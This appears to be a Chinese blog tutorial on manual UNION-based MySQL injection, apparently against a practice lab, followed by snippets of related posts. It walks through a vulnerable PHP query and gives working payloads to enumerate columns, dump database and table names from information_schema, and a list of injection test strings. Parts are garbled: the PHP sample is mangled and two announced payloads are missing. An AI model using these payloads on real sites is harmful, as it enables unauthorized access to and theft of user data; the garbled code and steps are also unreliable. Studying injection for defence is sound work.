mysql手工注入 有回顯

2021-08-15 10:45:59 字數 2699 閱讀 2077

頁面源**分析:

定義了乙個變數$id來接受通過get方式傳遞來的id值,在變數$sql裡沒有進行過濾直接把使用者輸入的id值傳入了進去,當使用者傳入惡意id引數1'的時候變數$sql裡就變成了這樣:

if(isset($_get['id']))

{$id=$_get['1'

'];$fp=fopen('result.txt','a');

fwrite($fp,'id:'.1'

."\n");

fclose($fp);

$sql="select * from users where id='1'

' limit 0,1";

當它進行資料查詢的時候我們的單引號把前面的語句進行閉合了,它自帶的單引號就空了出來,查詢就會報錯。

下面開始就開始利用吧

一.在get請求傳參後面輸入乙個測試符號',顯示資料庫報錯,這樣可以判斷出這裡存在注入點

二.這裡是有回顯的情況下,所以我們需要判斷顯示位有哪些,payload:

' order by 3 --+

order by: 判斷顯示位是多少(利用2分法來合理判斷,當超出範圍它會報錯,這樣來進行判斷)

--+: 用來注釋後面多餘的字元,有時候可以用#,%27

三.下面開始檢查頁面上的顯示位,把get傳入的引數改為乙個不存在的數,構造payload:

' union select 1,2,3 --+

union: 操作符用於合併兩個或多個 select 語句的結果集。

三.構造查詢語句並顯示在2個能顯示的地方,payload:

' union select 1,database(),user() --+

database() : 當前資料庫名

user() : 當前使用者名稱

version() : mysql 版本

@@datadir : 資料庫路徑

@@version_compile_os :作業系統版本

四.爆取所有的資料庫名稱,payload:

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

information_schema : 好像是mysql5.0開始就有的乙個庫,可以方便查詢

group_concat : 把所有的名字顯示出來,只站乙個位(資料庫可能是很多個,而顯示位只有1個)

五.選擇自己需要查詢的資料庫,查詢庫里的資料,payload:

?id=-1' union select 1,group_concat(table_name), 3  from information_schema.tables where

table_schema='security'--+

where : 後面加的是條件,這裡意思是當資料庫等於security

六.一看有個users一般是存放使用者賬號密碼的,我們爆取裡面的資料,payload:

7.資料庫知道了,表知道了,欄位也知道了,下面就開始爆取資料,payload:

注:這裡只是一種情況,有可能其他開發者寫的源**不是用的單引號,那麼我們就要更換方法了,要靈活運用

常用的檢測語句:

or 1=1--+

'or 1=1--+

"or 1=1--+

)or 1=1--+

')or 1=1--+

") or 1=1--+

"))or 1=1--+

and xor or

感謝各位大佬賞臉,有什麼不足的地方請多多指教,歡迎意見轟炸,謝謝!!!

mysql錯誤回顯注入 sql注入 顯錯注入

前提知識 資料庫 就是將大量資料把儲存起來,通過計算機加工而成的可以高效訪問資料庫的資料集合 資料庫結構 庫 就是一堆表組成的資料集合 表 類似 excel,由行和列組成的二維表 字段 表中的列稱為字段 記錄 表中的行稱為記錄 單元格 行和列相交的地方稱為單元格 在資料庫裡有乙個系統庫 inform...

mysql手工注入

元資料庫 information schema其中儲存著其他所有資料庫的資訊 其中的表非常多 schemata 存放所有資料庫的名字 tables 用於存放所有資料表的名字 columns 存放所有欄位的名字 這些表裡面存放的資訊非常多,如果用select from tables 查詢會出現非常多劫...

手工注入 MySQL手工注入實戰和分析

通過 和構造 and 1 1 和 and 1 2 檢視頁面是否報錯。這裡通過and 1 1 發現頁面正常。如下圖。接下來,咱們再構造 and 1 2 發現頁面報錯,說明頁面存在注入點。如下圖。通過 order by 語句,如果後面輸入的數字大於資料庫的字段數,頁面就會報錯,通過這個,咱們先輸入 or...